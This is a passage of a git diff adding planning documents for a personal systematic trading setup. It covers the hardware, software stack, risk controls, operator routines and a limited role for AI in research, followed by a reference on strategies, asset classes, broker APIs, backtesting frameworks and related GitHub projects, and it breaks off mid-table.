Lake), 20 threads | Parameter sweeps, backtest grids (embarrassingly parallel) | +| RAM | 30GB | Holds ~5 years of daily bars for 3000 names in-memory; tight for full L2 tick | +| GPU | AMD Radeon RX 6800 XT | PyTorch ROCm for ML model training; irrelevant for non-ML strategies | +| Storage | NVMe SSD (home partition: 422GB usable) | Local research notebooks, strategy source code | +| Network | Wired ethernet via Tailscale to STARGATE | Low-jitter for remote Postgres queries | +| OS | Arch Linux, dwm, fish shell | | + +**What moirai does**: all research, backtesting, signal discovery, Jupyter notebooks, and strategy development. No live execution happens here. + +### STARGATE (Execution Server) + +| Component | Spec | Role | +|---|---|---| +| Storage | 916GB /mnt/storage (1TB drive) | Tick data warehouse, TimescaleDB, Parquet archives | +| Network | Wired ethernet, static LAN IP 10.0.0.142 | Live order execution with minimal jitter | +| Tailscale | 100.74.152.79 | Remote access from moirai and mobile | +| OS | Arch Linux (bare metal, no containers for trading) | | + +**What STARGATE does**: live strategy execution under systemd, tick data storage (TimescaleDB/Parquet), order management, PnL tracking (Grafana/Prometheus), alerting (ntfy + email), and broker API connectivity. + +### Planned Upgrades + +| Trigger | Action | +|---|---| +| RAM bottleneck on moirai (full L2 tick research) | Upgrade to 64GB | +| Sub-second strategy validated | Add QuantVPS NY4 ($42-129/mo) for low-latency execution | +| $500k+ AUM | Beeks Financial Cloud dedicated NY4 with broker cross-connect | + +## 2. Software Stack + +``` +Languages: Python 3.12+ (research + execution), Rust (perf-critical later) +Frameworks: VectorBT (parameter sweeps) + NautilusTrader (event-driven backtest + live) +Storage: TimescaleDB on STARGATE (live PnL, fills, ticks) + Parquet on disk (research data archives) + DuckDB for ad-hoc analytical queries on Parquet +Monitoring: Grafana + Prometheus (dashboards, equity curves) + Loki or journald + Promtail (strategy decision audit trail) +Alerts: Alertmanager -> ntfy push + ~/.local/bin/email +Supervision: systemd units (one per live strategy) +Isolation: uv for Python environments, direnv for per-project env vars +Version ctrl: git (SourceHut) +Backups: restic snapshots of TimescaleDB to Hetzner S3 +``` + +### Existing Scripts + +Two statusbar modules already exist in the rice: + +| Script | Path | What It Does | +|---|---|---| +| `sb-ticker` | `~/.local/bin/sb-ticker` | Fetches stock quotes from terminal-stocks.dev for configurable tickers (default: S&P 500, Dow, Nasdaq). Reads `~/.config/tickers`. Cache: `~/.cache/stock-prices`. | +| `sb-price` | `~/.local/bin/sb-price` | Crypto price ticker (BTC, ETH, BAT, etc.) from rate.sx. Supports 7d/14d history charts. Cache: `~/.cache/crypto-prices/`. | + +These integrate with dwmblocks and can be extended to show live PnL, strategy status, or position counts. + +## 3. How the Program Operates + +### Data Flow + +``` +Market Data Sources (Polygon, Tiingo, Databento, exchange feeds) + | + v + [STARGATE: Ingest Layer] + - Cron or streaming ingest scripts + - Write to TimescaleDB (live ticks/bars) + - Archive to Parquet (historical) + | + v + [moirai: Research Layer] [STARGATE: Execution Layer] + - Jupyter notebooks - NautilusTrader live engine + - VectorBT parameter sweeps - Broker API connections + - Signal discovery + validation - Order management system + - Walk-forward optimization - Position sizing + risk limits + | | + v v + Validated strategy code Live fills + PnL + (committed to git) (written to TimescaleDB) + | | + v v + Deploy to STARGATE Grafana dashboards + (systemd unit) ntfy/email alerts +``` + +### Strategy Lifecycle + +1. **Hypothesis** (moirai): identify a mathematical relationship (mean reversion, momentum, factor, vol surface anomaly) from reading papers, exploring data, or AI-assisted literature search. +2. **Backtest** (moirai): implement in VectorBT for fast parameter sweeps. Validate with walk-forward optimization, deflated Sharpe ratio, synthetic data testing, and trade randomization. +3. **Execution backtest** (moirai): port to NautilusTrader for realistic fill simulation with slippage modeling. +4. **Paper trade** (STARGATE): deploy to paper account (Alpaca paper or IBKR paper) for 2-4 weeks. Compare fills against backtest expectations. +5. **Live deploy** (STARGATE): start at 20-30% of intended size. Run side-by-side with paper for a month. Reconcile. +6. **Monitor** (STARGATE): rolling Sharpe, drawdown alerts, daily loss limits. Auto-disable on kill switch triggers. +7. **Archive or scale**: if rolling 6-month Sharpe < 0, archive the strategy. If stable, increase allocation. + +### Risk Controls (Enforced in Code) + +| Control | Rule | Enforcement | +|---|---|---| +| Per-trade stop | Hard loss limit per position | Strategy code | +| Daily loss limit | Pause all strategies after X% equity drawdown | Supervisor daemon | +| Strategy kill switch | Auto-disable on N consecutive losers or M% drawdown over K days | Per-strategy systemd wrapper | +| Position concentration | No single position > P% of equity | Pre-trade check | +| Correlation cap | Total exposure to correlated bucket capped | Portfolio-level check | + +## 4. The Operator's Role (You) + +This is not a "set and forget" system. The operator is the mathematician-programmer who: + +### Daily (~30 min) +- Check Grafana dashboard: equity curve, drawdown, open positions +- Review any alerts from overnight +- Scan arxiv q-fin.ST and q-fin.TR for new papers + +### Weekly (~2-4 hours) +- Review strategy-level metrics (per-strategy rolling Sharpe, fill quality, slippage vs. expected) +- Research session: explore new signal ideas in Jupyter +- Read one chapter of current quant book (see trading.md Section 10) + +### Monthly +- Rolling Sharpe review per strategy; archive any with 6-month Sharpe < 0 +- Allocation rebalance across strategies +- Data source check: verify feeds are clean, no gaps +- Infrastructure audit: disk space, systemd unit health, backup verification + +### Quarterly +- Framework upgrades (NautilusTrader, VectorBT, broker SDKs) +- Data source expansion (add new asset classes or higher-resolution feeds) +- Tax planning review + +### Annual +- CPA review (Green Trader Tax) +- Entity structure review (sole prop -> LLC -> S-corp progression) +- Hardware assessment + +## 5. AI-Assisted Research + +The operator leads all research. AI is a research accelerator, not a decision-maker. AI never places trades or modifies live strategy parameters. + +### Research Workflows + +| Task | How AI Helps | Tools | +|---|---|---| +| **Literature mining** | Summarize arxiv papers, extract testable hypotheses from dense math | Claude Code with `claude -p --model sonnet` | +| **Formula verification** | Check derivations, verify implementations against paper equations | Claude in-session | +| **Code generation** | Scaffold backtest skeletons, data pipeline boilerplate, Grafana dashboard JSON | Claude Code | +| **Data exploration** | Generate DuckDB/SQL queries for ad-hoc analysis on tick data | Claude in-session | +| **Parameter space mapping** | Given a strategy, enumerate the parameter space worth sweeping | Claude brainstorm then VectorBT executes | +| **Anomaly investigation** | When a strategy behaves unexpectedly, help diagnose (regime change? data issue? bug?) | Claude + Jupyter | +| **Factor construction** | Help translate WorldQuant alpha101 formulas or paper-described factors into vectorized Python | Claude Code | + +### What AI Does NOT Do + +- Place orders or modify live positions +- Decide which strategies to deploy or archive +- Set risk parameters +- Access broker API credentials +- Make capital allocation decisions + +### Prompt Patterns for Research + +```bash +# Summarize a paper and extract testable hypotheses +claude -p --model sonnet "Read this paper abstract and methods section. +Extract: (1) the core claim, (2) the mathematical model, +(3) what data I'd need to test it, (4) expected Sharpe if the claim holds." + +# Verify a backtest implementation +claude -p --model sonnet "Here is the formula from Avellaneda-Stoikov (2008) +for optimal bid/ask spread: [formula]. Here is my Python implementation: [code]. +Does my implementation match the paper? Flag any discrepancies." + +# Generate a VectorBT skeleton +claude -p --model sonnet "Write a VectorBT backtest skeleton for a +pairs-trading strategy on two cointegrated equities. Include: +spread calculation, z-score entry/exit, walk-forward split." +``` + +### Research Data Sources for AI + +| Source | Purpose | Access | +|---|---|---| +| arxiv q-fin | New papers, preprints | Web search / fetch | +| SSRN | Practitioner papers | Web search / fetch | +| Ernie Chan's books | Worked examples to replicate | Local (Calibre or PDF) | +| Lopez de Prado | ML validation methods | Local | +| WorldQuant alpha101 | 101 formulaic alpha signals | GitHub repo | +| Quantopian research archive | Historical notebooks | GitHub | + +## 6. APIs and External Services + +### Broker APIs + +| Broker | Purpose | Auth | Python SDK | +|---|---|---|---| +| **public.com** | Equities, options, bonds, treasuries, crypto | OAuth API keys | Official | +| **Interactive Brokers** | Futures (MES, MNQ, MCL, etc.), global multi-asset | TWS/Gateway + API | `ib_async` | +| **Alpaca** | Paper trading, US equities, options | API key pair | `alpaca-py` | +| **Coinbase Advanced** | Crypto spot | API key | Official | +| **Tradier** | Options (cheapest API: $10/mo unlimited) | OAuth | Community | + +### Banking API + +| Service | Purpose | Auth | +|---|---|---| +| **Mercury** | Operating account, treasury sweep (4-5% APY on idle cash), programmatic ACH to/from brokers | API token | + +### Data APIs + +| Provider | Purpose | Cost | Auth | +|---|---|---|---| +| **Tiingo** | Daily bars (equities, crypto, FX, news) | Free tier / $30/mo | API key | +| **Polygon.io** | Intraday bars, trade/quote data | $29-199/mo | API key | +| **Databento** | Tick + L2 (when needed) | ~$100-500/mo metered | API key | +| **yfinance** | Prototyping only (unreliable, survivorship-biased) | Free | None | + +### Monitoring APIs + +| Service | Purpose | +|---|---| +| **Grafana** | Dashboards (STARGATE localhost:3000 or dedicated port) | +| **Prometheus** | Metrics collection | +| **ntfy** | Push notifications to phone | +| **~/.local/bin/email** | Email alerts via msmtp | + +### External Price Feeds (Already Configured) + +| Feed | Endpoint | Used By | +|---|---|---| +| terminal-stocks.dev | `terminal-stocks.dev/<tickers>` | `sb-ticker` statusbar module | +| rate.sx | `<denom>.rate.sx/<target>` | `sb-price` statusbar module | + +## 7. Directory Structure + +``` +~/dev/100x/trading/ + trading.md # Foundational reference (strategy, brokers, tax, learning path) + system.md # This file (architecture, operations, maintenance) + strategies/ # One directory per strategy + momentum-futures/ + pairs-equities/ + factor-monthly/ + lib/ # Shared Python modules + data/ # Data ingestion, storage, retrieval + risk/ # Position sizing, kill switches, limits + broker/ # Broker API wrappers + metrics/ # Sharpe, Sortino, Calmar, DSR calculations + notebooks/ # Jupyter research notebooks (run on moirai) + infra/ # systemd units, Grafana dashboards, Prometheus configs + scripts/ # Utility scripts (ingest, backup, reconcile) + data/ # Local data cache (gitignored; bulk lives on STARGATE) + .envrc # direnv config + pyproject.toml # uv/poetry project definition +``` + +## 8. Maintenance + +### Backups + +| What | Where | Frequency | +|---|---|---| +| Strategy source code | SourceHut (git push) | Every commit | +| TimescaleDB (STARGATE) | Hetzner S3 via restic | Nightly | +| Parquet archives (STARGATE) | Hetzner S3 via restic | Weekly | +| Broker API credentials | Encrypted in password manager, NOT in git | On change | + +### Monitoring Health Checks + +| Check | Method | Frequency | +|---|---|---| +| Strategy processes alive | systemd status + Prometheus `up` metric | Continuous | +| Data feed freshness | Compare latest tick timestamp vs. wall clock | Every 5 min | +| Disk space on STARGATE | Prometheus node_exporter | Continuous | +| Broker connectivity | Heartbeat ping to each broker API | Every 1 min | +| PnL reconciliation | Compare internal OMS fills vs. broker statement | Daily | + +### Failure Modes and Recovery + +| Failure | Detection | Recovery | +|---|---|---| +| Strategy crash | systemd auto-restart + alert | Investigate logs; if repeated, disable strategy | +| Data feed stale | Freshness check fires | Switch to backup feed; alert operator | +| Broker API down | Heartbeat failure | Queue orders; alert operator; manual intervention | +| STARGATE power loss | Tailscale offline detection | All strategies have stop-losses at broker level (server-side stops) | +| Corrupted tick data | Checksum mismatch on Parquet read | Restore from restic backup; re-ingest from source | + +### Security + +- Broker API keys stored in environment variables via direnv, never in git +- STARGATE accessible only via Tailscale (no public ports for trading infra) +- All broker connections over TLS +- Two-factor auth on all broker accounts +- Mercury API token scoped to read-only where possible; write-scoped only for ACH transfers +- No trading credentials stored on moirai (research machine has no execution access) + +## 9. Mathematics in the System + +The operator's mathematical background is the core competitive advantage. Areas where math applies directly: + +| Domain | Math | Application | +|---|---|---| +| Signal discovery | Time series analysis, stochastic calculus, PCA | Identifying mean-reverting spreads, trending factors, vol surface anomalies | +| Position sizing | Kelly criterion, convex optimization (cvxpy) | Optimal allocation across strategies and positions | +| Risk modeling | Copulas, VaR/CVaR, Monte Carlo simulation | Portfolio-level risk assessment | +| Validation | Hypothesis testing, multiple comparison correction, bootstrap | Deflated Sharpe Ratio, walk-forward, synthetic data testing | +| Execution | Optimal execution theory (Almgren-Chriss), Poisson process models | Minimizing market impact on larger orders | +| Options pricing | Stochastic volatility models (Heston, SABR), PDE methods | Vol surface arbitrage, greeks computation | +| Factor research | Cross-sectional regression, Fama-French, regularization | Building and testing alpha factors | + +### Mathematical Software on the System + +``` +Python: numpy, scipy, statsmodels, scikit-learn, cvxpy, sympy + pandas, polars (DataFrames) + arch (GARCH models) + hmmlearn (hidden Markov models for regime detection) +Rust: nalgebra, ndarray (when Python is too slow) +R: Available if needed for specific econometric packages +Jupyter: Primary research interface on moirai +``` + +## 10. Getting Started Checklist + +See trading.md Section 13 ("First 90 Days") for the phased execution plan. The immediate next steps to bring this system online: + +1. Initialize `~/dev/100x/trading/` as a git repo on SourceHut +2. Set up `uv` project with core dependencies +3. Open broker accounts (public.com, Alpaca paper, IBKR, Coinbase Advanced) +4. Install TimescaleDB on STARGATE +5. Pull first dataset (10 years daily bars via Tiingo or Polygon) +6. Replicate one classic strategy from Chan's books +7. Build first Grafana dashboard diff --git a/doc/trading/trading.md b/doc/trading/trading.md new file mode 100644 index 0000000000000000000000000000000000000000..769024c2c5389dc129d7c36a804dea68e0ec815b --- /dev/null +++ b/doc/trading/trading.md @@ -0,0 +1,456 @@ +--- +title: "Systematic Trading: A Foundational Reference" +date: 2026-05-20 +status: living-document +--- + +# Systematic Trading + +A reference for building a Jane-Street-style systematic trading operation at retail scale. Focused on programmatic execution of quantitative strategies, not discretionary trading. Written for the operator who already programs and now wants to convert that into a private wealth engine. + +## 1. Strategy Archetypes Suited to a Mathematician + +The honest filter: at retail capital, most "edge" strategies real shops run (latency arb, true HFT market making, capacity-heavy stat arb on the full Russell 3000) are unavailable. The remaining surface is narrower but real. Mathematical strength matters more on the research side (signal discovery, risk modeling) than the execution side. + +| Strategy | Core Math | Min Capital | Realistic Sharpe (retail) | Capacity | PDT/Reg Issues | +|---|---|---|---|---|---| +| **Statistical arbitrage** | Cointegration (Engle-Granger, Johansen), PCA, OU mean reversion, Kalman filtering | $25k+ (equities) or $5k+ (crypto) | 0.8-1.5 | Medium | PDT bites under $25k on margin equities | +| **Market making** | Avellaneda-Stoikov, inventory control, Poisson order flow models | $25k (crypto) / impractical (US equities) | 1.0-2.5 in crypto | Low at retail | None on crypto/futures; impossible on equities without rebates | +| **Mean reversion (single-name / ETF)** | Z-score, half-life of mean reversion (Ornstein-Uhlenbeck), Hurst exponent | $5k+ | 0.5-1.2 | Medium | PDT if margin equities | +| **Momentum / trend following** | Time-series momentum (Moskowitz et al.), breakout filters, channel models, Kaufman AMA | $5k+ (futures preferred) | 0.6-1.0 (lumpy) | High | None on futures; PDT on intraday equities | +| **Options vol arbitrage** | Black-Scholes greeks, vol surface modeling, variance swaps, GARCH | $25k+ (defined risk); $100k+ (undefined) | 0.7-1.5 | Medium | Level 3+ options approval, margin requirements | +| **Pairs trading** | Same toolkit as stat arb but bivariate; spread half-life, dynamic hedge ratios | $10k+ | 0.6-1.2 | Low | PDT same as equities | +| **Factor investing** | Cross-sectional regression, Fama-French + custom factors, portfolio optimization (mean-variance, risk-parity) | $25k+ (50+ names for diversification) | 0.4-0.8 | Very high | None (rebalance monthly, no PDT issue) | +| **Event-driven** | NLP on filings/news, M&A spread arb, earnings drift | $25k+ | 0.5-1.0 | Medium | PDT possible; options approval helpful | + +**Feasibility by capital tier:** + +- **$5k**: Crypto market making on Coinbase/Hyperliquid, micro futures (1 MES contract), or swing factor strategies on equities. Avoid PDT entirely by using cash account or futures. +- **$25k**: Margin equities unlocked. Pairs trading, ETF mean reversion, options spreads (Level 3). Still under capacity ceiling for most factor strategies. +- **$100k**: Real multi-strategy portfolio. Run 3-5 uncorrelated strategies. Begin meaningful options vol selling (cash-secured puts, defined-risk spreads). Consider LLC. +- **$500k**: Approaching prop-shop territory. Trader Tax Status worth filing. Can absorb fixed costs of pro data ($500-2000/mo Databento, dedicated VPS), employ leverage carefully. + +**The big trap**: at retail capital, the strategies with the highest theoretical Sharpe (HFT market making, latency arb) are also the ones you cannot run. The strategies you *can* run (medium-frequency mean reversion, trend, factors) are the ones the literature has been chewing on for 25 years and where edge is thin. Plan around capacity-tolerant, low-frequency edge with strong risk management, not against high-Sharpe fantasy. + +## 2. Asset Classes + +| Asset | Min Account | Leverage | Tax Treatment | API Coverage | +|---|---|---|---|---| +| **US Equities** | $0 (cash) / $2k margin / $25k for PDT-margin | 2x intraday, 4x day-trading | Short-term cap gains (≤1yr ordinary income); wash sale applies | Public, Alpaca, IBKR, Schwab, Tradier | +| **US Options** | $2k+ (Level 2); $25k+ (Level 3/4) | Defined by structure | Same as equities; LEAPS get LTCG; complex spreads tricky | Tradier (best), TastyTrade, IBKR, Public | +| **Futures (CME)** | $500-2000 per micro contract | 10-50x typical | **Section 1256: 60% LTCG / 40% STCG regardless of holding period.** No wash sale. | IBKR, NinjaTrader, Tradovate, AMP | +| **Crypto spot** | $0 | 1x (3x on Kraken Pro) | Property; FIFO; no wash sale (yet, IRS proposed) | Coinbase Advanced, Kraken, Gemini | +| **Crypto perps** | $0 (offshore) | 5-100x | Murky; treat as ordinary income for self-custody DEX | Hyperliquid, dYdX, Bybit (non-US), Binance.US (limited) | +| **FX** | $100 (offshore); $25k (Oanda US) | 50x retail US | Section 988 ordinary by default; can elect 1256 | Oanda, IG, IBKR | +| **Treasuries / Bonds** | Varies | None | Federal income; state-exempt for Treasuries | TreasuryDirect.gov, Public, IBKR | + +Two regulatory facts to internalize: + +- **Section 1256 (futures + broad-based index options + cash-settled options on indices)** offers 60/40 tax treatment regardless of holding period. Blended top rate ~26.8% vs. 37% for STCG equities. This alone is a 10 percentage-point edge before any alpha. Futures are also exempt from the PDT rule and the wash sale rule. +- **Wash sale rule (Section 1091)** applies to substantially identical securities within 30 days. Algorithmic equity strategies that re-enter the same name constantly will produce a wash sale nightmare unless you elect Section 475(f) mark-to-market (which requires Trader Tax Status). + +**The PDT change (2026)**: The SEC approved elimination of the $25k pattern day trader rule effective June 4, 2026, replacing it with a risk-based margin framework: no minimum balance for cash-equivalent traders, $2k or maintenance margin (whichever greater) for leveraged. This materially expands what's runnable under $25k. ([Britannica explainer](https://www.britannica.com/money/pattern-day-trader-rule), [NerdWallet](https://www.nerdwallet.com/investing/news/pattern-day-trading-rule-change)) + +## 3. Programmatic Access — Broker APIs + +### public.com + +[Docs](https://public.com/api/docs) | [Changelog](https://public.com/api/docs/changelog) + +- **Assets**: Equities, ETFs, options, index options, crypto, corporate bonds, treasuries (bonds added March 2026). +- **Auth**: OAuth-style API keys per the [Individual API Program Terms](https://public.com/disclosures/individual-api-program). +- **Endpoints**: REST; supports `PUT` to amend orders without cancel/replace (Feb 2026 update). +- **Free**, no commissions on stocks/ETFs/options contracts. +- **SDKs**: Official Python library. +- **Strengths**: Free, bond+treasury support is unusual for retail APIs, modern REST design. +- **Weaknesses**: Newer than Alpaca/IBKR — community is small, fewer Stack Overflow answers, paper trading less mature. + +### Mercury Bank API + +[Docs](https://docs.mercury.com/docs/welcome) | [Treasury endpoint](https://docs.mercury.com/reference/treasury-1) + +Mercury is **banking, not brokerage**. For trading purposes it enables: + +- Programmatic ACH / wire / RTP / check / virtual card. +- Real-time balance + statement reconciliation across operating accounts and Mercury Treasury (MMF-style sweep). +- Webhooks for transactions over a threshold, low-balance alerts. +- Treasury endpoint exposes yield-bearing account data (currently ~4-5% APY on idle cash). + +**How this composes with trading**: keep operating capital in Mercury Treasury (yielding) → programmatically ACH to broker when buying power needed → ACH back to Mercury when flat. The yield differential between idle broker cash and Mercury Treasury on $100k+ is meaningful (typically 100-200 bps). + +### Alternatives + +| Broker | Free Tier | Assets | Latency | Python SDK | Notes | +|---|---|---|---|---|---| +| [Alpaca](https://alpaca.markets) | Yes (commission-free) | US equities, options, crypto | 50-200ms | `alpaca-py` (official) | Best paper/live parity. Most popular retail algo broker. | +| [Interactive Brokers](https://www.interactivebrokers.com/) | $0 commission tier; data add-ons cost | Global multi-asset (everything) | 10-50ms | [`ib_async`](https://github.com/ib-api-reloaded/ib_async) (successor to `ib_insync` after creator's 2024 death) | Gold standard. TWS/Gateway must run. | +| [Tradier](https://documentation.tradier.com/) | $10/mo brokerage; sandbox free | Equities, options | 100-300ms | Community | Best-priced options API; commission $0.35/contract or flat $10/mo unlimited. | +| [TastyTrade](https://developer.tastytrade.com/) | Free with account | Equities, options, futures, crypto | 100ms+ | Community + official | Designed by options traders for options traders; great complex order types. | +| [TradeStation](https://api.tradestation.com/) | Free with account | Equities, options, futures, crypto | 100ms+ | REST/WebSocket | Solid for futures + equities mix. | +| [Schwab](https://developer.schwab.com/) | Free; manual approval 1-3d | Equities, options | Variable | Community ([schwab-py](https://github.com/alexgolec/schwab-py)) | Inherited TD Ameritrade API. Required register as Individual Developer. | +| Robinhood | Unofficial only | Equities, options, crypto | High | [robin_stocks](https://github.com/jmfernandes/robin_stocks) | TOS forbids automation. Avoid for serious work. | + +### Crypto + +| Exchange | Free Tier | Assets | Latency | SDK | +|---|---|---|---|---| +| [Coinbase Advanced Trade](https://docs.cloud.coinbase.com/advanced-trade-api) | Yes | Spot, some futures | ~100ms | Official Python | +| [Kraken](https://docs.kraken.com/api/) | Yes | Spot, futures, margin (3x) | 50-150ms | `krakenex` | +| [Binance.US](https://docs.binance.us/) | Yes | Spot | 100ms | Official + `python-binance` | +| [Hyperliquid](https://hyperliquid.gitbook.io/) | Yes | Perps + spot DEX | 20-50ms (custom L1) | Official Python + Rust | +| [dYdX v4](https://docs.dydx.exchange/) | Yes | Perps DEX | 50-100ms | Official | +| Bybit / OKX / BitMEX | Yes | Perps | 50-150ms | Official | Non-US only | + +For market making in crypto specifically, [Hummingbot](https://hummingbot.org/) ships connectors for most of the above. CCXT ([ccxt/ccxt](https://github.com/ccxt/ccxt), ~33k stars) is the universal abstraction layer if you need to swap exchanges. + +## 4. Backtesting Frameworks & Libraries + +Ranked, with current state as of mid-2026: + +| # | Framework | Repo | Lang | Last Significant Release | License | Best For | +|---|---|---|---|---|---|---| +| 1 | **NautilusTrader** | [nautechsystems/nautilus_trader](https://github.com/nautechsystems/nautilus_trader) | Rust core + Python | Active monthly | LGPL-3.0 | Production-grade event-driven; closest to institutional. | +| 2 | **VectorBT (PRO)** | [polakowo/vectorbt](https://github.com/polakowo/vectorbt) | Python (Numba) | OSS less active; PRO active | Apache 2.0 (OSS) | Vectorized parameter sweeps. Fastest for research grids. | +| 3 | **QuantConnect LEAN** | [QuantConnect/Lean](https://github.com/QuantConnect/Lean) | C# (with Python wrapper) | Daily commits | Apache 2.0 | Cloud or self-host; multi-asset; live integration baked in. | +| 4 | **Zipline-Reloaded** | [stefan-jansen/zipline-reloaded](https://github.com/stefan-jansen/zipline-reloaded) | Python | Active maintenance | Apache 2.0 | Daily-bar equities research; pairs with `pyfolio-reloaded` and Stefan Jansen's [ML for Trading](https://github.com/stefan-jansen/machine-learning-for-trading). | +| 5 | **Backtrader** | [mementum/backtrader](https://github.com/mementum/backtrader) | Python | Original author inactive since ~2019; community PRs | GPL-3.0 | Most documentation/tutorials online. Easy to learn, slow on big grids. | +| 6 | **Freqtrade** | [freqtrade/freqtrade](https://github.com/freqtrade/freqtrade) | Python | Very active (25k+ stars) | GPL-3.0 | Crypto-only. FreqAI for ML strategies. | +| 7 | **Hummingbot** | [hummingbot/hummingbot](https://github.com/hummingbot/hummingbot) | Python | Very active | Apache 2.0 | Crypto market making + DEX arb. | +| 8 | **Jesse** | [jesse-ai/jesse](https://github.com/jesse-ai/jesse) | Python | Active | MIT | Crypto; clean API; honest backtests. | +| 9 | **bt** | [pmorissette/bt](https://github.com/pmorissette/bt) | Python | Maintenance mode | MIT | Portfolio rebalancing strategies on top of `ffn`. | +| 10 | **PyAlgoTrade** | [gbeced/pyalgotrade](https://github.com/gbeced/pyalgotrade) | Python | Inactive (~2020 last) | Apache 2.0 | Historical interest only. | +| 11 | **QSTrader** | [mhallsmoore/qstrader](https://github.com/mhallsmoore/qstrader) | Python | Light maintenance | MIT | Institutional-flavored from QuantStart blog. | +| 12 | **vnpy** | [vnpy/vnpy](https://github.com/vnpy/vnpy) | Python + C++ | Active (China-focused but international support) | MIT | Multi-broker live trading platform. | + +**Recommended workflow**: VectorBT for parameter sweeps and signal discovery → NautilusTrader for execution-realistic backtest → live deploy on NautilusTrader or broker-specific code. Avoid the temptation to live-trade directly from a vectorized research notebook. + +### Data Sources for Backtesting + +| Source | URL | Cost | Asset Coverage | Granularity | +|---|---|---|---|---| +| [Polygon.io](https://polygon.io) | | $29-$199/mo retail | US equities/options/FX/crypto | Trade/quote down to 1s; tick on higher tiers | +| [Databento](https://databento.com) | | ~$100-500/mo metered | US equities, options, futures (60+ venues) | Nanosecond tick + L2 from direct exchange feeds | +| [Tiingo](https://www.tiingo.com) | | Free tier; $30/mo | US equities, crypto, FX, news | Daily + intraday | +| [Alpha Vantage](https://www.alphavantage.co) | | Free; $50/mo+ | Multi-asset | Daily, intraday | +| [Norgate Data](https://norgatedata.com) | | $30-90/mo | US/AU/CA equities + futures continuous contracts | Daily; survivorship-bias-free | +| [QuantConnect data](https://www.quantconnect.com/datasets) | | Bundled with LEAN cloud | Multi-asset | Tick/minute/hour/daily | +| [Kibot](http://www.kibot.com) | | One-time pay | US equities, futures | Tick + minute | +| `yfinance` | [GitHub](https://github.com/ranaroussi/yfinance) | Free (unofficial Yahoo scrape) | Global equities, ETFs | Daily mostly; intraday unreliable, **survivorship-biased**, prone to break | + +**yfinance is fine for prototyping and research. It is unfit for production-grade backtests.** Use Norgate or Polygon for serious work. Databento if you need L2 / tick. + +## 5. Similar GitHub Projects Worth Studying + +Curated, with stars and current status (May 2026 snapshot): + +| Repo | URL | Stars | Why It Matters | +|---|---|---|---| +| QuantConnect/Lean | https://github.com/QuantConnect/Lean | ~10k | Institution-quality event-driven engine. Read the algorithm framework. | +| nautechsystems/nautilus_trader | https://github.com/nautechsystems/nautilus_trader | ~5k | Rust core; modern architecture you'd actually deploy. | +| stefan-jansen/machine-learning-for-trading | https://github.com/stefan-jansen/machine-learning-for-trading | ~14k | Companion notebooks to the book; best ML-for-trading walkthrough on GH. | +| hudson-and-thames/mlfinlab | https://github.com/hudson-and-thames/mlfinlab | ~4k | Implementations of de Prado's *Advances in FinML*. (Note: now partially closed-source; older OSS version still useful.) | +| OpenBB-finance/OpenBB | https://github.com/OpenBB-finance/OpenBB | ~37k | Free Bloomberg-alternative for research; broad data integrations. | +| ccxt/ccxt | https://github.com/ccxt/ccxt | ~33k | Universal crypto exchange interface. The standard. | +| freqtrade/freqtrade | https://github.com/freqtrade/freqtrade | ~28k | Battle-tested crypto bot platform with FreqAI. | +| hummingbot/hummingbot | https://github.com/hummingbot/hummingbot | ~8k | Production crypto market-making framework. | +| ranaroussi/quantstats | https://github.com/ranaroussi/quantstats | ~5k | Tearsheet generation. Steal the metric implementations. | +| robcarver17/pysystemtrade | https://github.com/robcarver17/pysystemtrade | ~3k | Companion to *Systematic Trading* by Rob Carver. Full futures portfolio system. | +| polakowo/vectorbt | https://github.com/polakowo/vectorbt | ~5k | Numba-accelerated vectorized backtester. | +| jesse-ai/jesse | https://github.com/jesse-ai/jesse | ~6k | Clean crypto-focused framework. Good API design study. | +| ranaroussi/yfinance | https://github.com/ranaroussi/yfinance | ~14k | Useful for prototyping. Know its limits. | +| microsoft/qlib | https://github.com/microsoft/qlib | ~16k | Microsoft Research's AI-for-quant platform. Strong reinforcement-learning integration. | +| google/tf-quant-finance | https://github.com/google/tf-quant-finance | ~5k | Derivative pricing in TF. Reference implementations for Heston, SABR, etc. | +| jpmorganchase/python-training | https://github.com/jpmorganchase/python-training | ~4k | JPM's internal Python training materials. Reveals how a bank does it. | +| AI4Finance-Foundation/FinRL | https://github.com/AI4Finance-Foundation/FinRL | ~10k | Deep RL for trading. Academic but well-maintained. | +| wilsonfreitas/awesome-quant | https://github.com/wilsonfreitas/awesome-quant | ~20k | Curated list-of-lists. Use as discovery surface. | +| wangzhe3224/awesome-systematic-trading | https://github.com/wangzhe3224/awesome-systematic-trading | ~3k | Better filtered than awesome-quant; focused on real systems. | +| ib-api-reloaded/ib_async | https://github.com/ib-api-reloaded/ib_async | ~3k | The IBKR Python interface. Read the source for asyncio patterns. | +| crflynn/stochastic | https://github.com/crflynn/stochastic | ~0.5k | Stochastic process simulators (OU, Heston, fBM). Useful for synthetic-data testing. | +| cvxpy/cvxpy | https://github.com/cvxpy/cvxpy | ~6k | Convex optimization. Backbone of portfolio construction. | +| lballabio/QuantLib | https://github.com/lballabio/QuantLib | ~6k | C++ derivatives pricing library. Industry standard. | +| AI4Finance-Foundation/FinRL-Meta | https://github.com/AI4Finance-Foundation/FinRL-Meta | ~1k | Standardized datasets/environments for RL trading research. | + +## 6. Hardware Requirements + +**Latency-sensitive (HFT)**: not realistic for retail. Co-located NY4 servers ($2000-10000/mo), kernel-bypass networking, FPGA NICs. Don't bother. + +**Mid-frequency (sub-second to minute bars)**: the current i7-265K + 30GB desktop is overkill for execution. The dGPU is irrelevant for non-ML strategies. + +**Overnight / swing / daily bars**: cheapest VPS imaginable suffices. A $5 Hetzner CX11 will run a daily-bar strategy. + +**Research and backtesting**: + +| Resource | Need | +|---|---| +| Cores | More is better. Parameter sweeps embarrassingly parallel. 16+ cores changes life. | +| RAM | 32GB minimum. 64-128GB unlocks full-history L1/L2 tick loaded in memory. | +| Storage | NVMe SSD essential. Tick data for 1 year of US equities = 500GB-2TB depending on schema. Plan for STARGATE's 916GB drive to host. | +| GPU | RX 6800 XT is useful for ML training but not inference. PyTorch ROCm is functional on Arch. For most quant ML (gradient boosting, linear models) GPU is irrelevant; XGBoost/LightGBM on CPU is faster than naive GPU. | +| Network | Wired ethernet, low-jitter. Wifi adds 5-30ms jitter that ruins fill quality on anything sub-minute. Use STARGATE wired for live execution. | + +**Recommended split for this setup**: + +- moirai (desktop, i7-265K, 30GB, RX 6800 XT): research + backtest + Jupyter. +- STARGATE (server, Arch, 916GB): live execution under systemd + Postgres/TimescaleDB for tick storage + Grafana for monitoring. +- Optional NY4 VPS later if you actually find a latency-sensitive edge. + +## 7. Cloud VPS / Colocation + +| Provider | 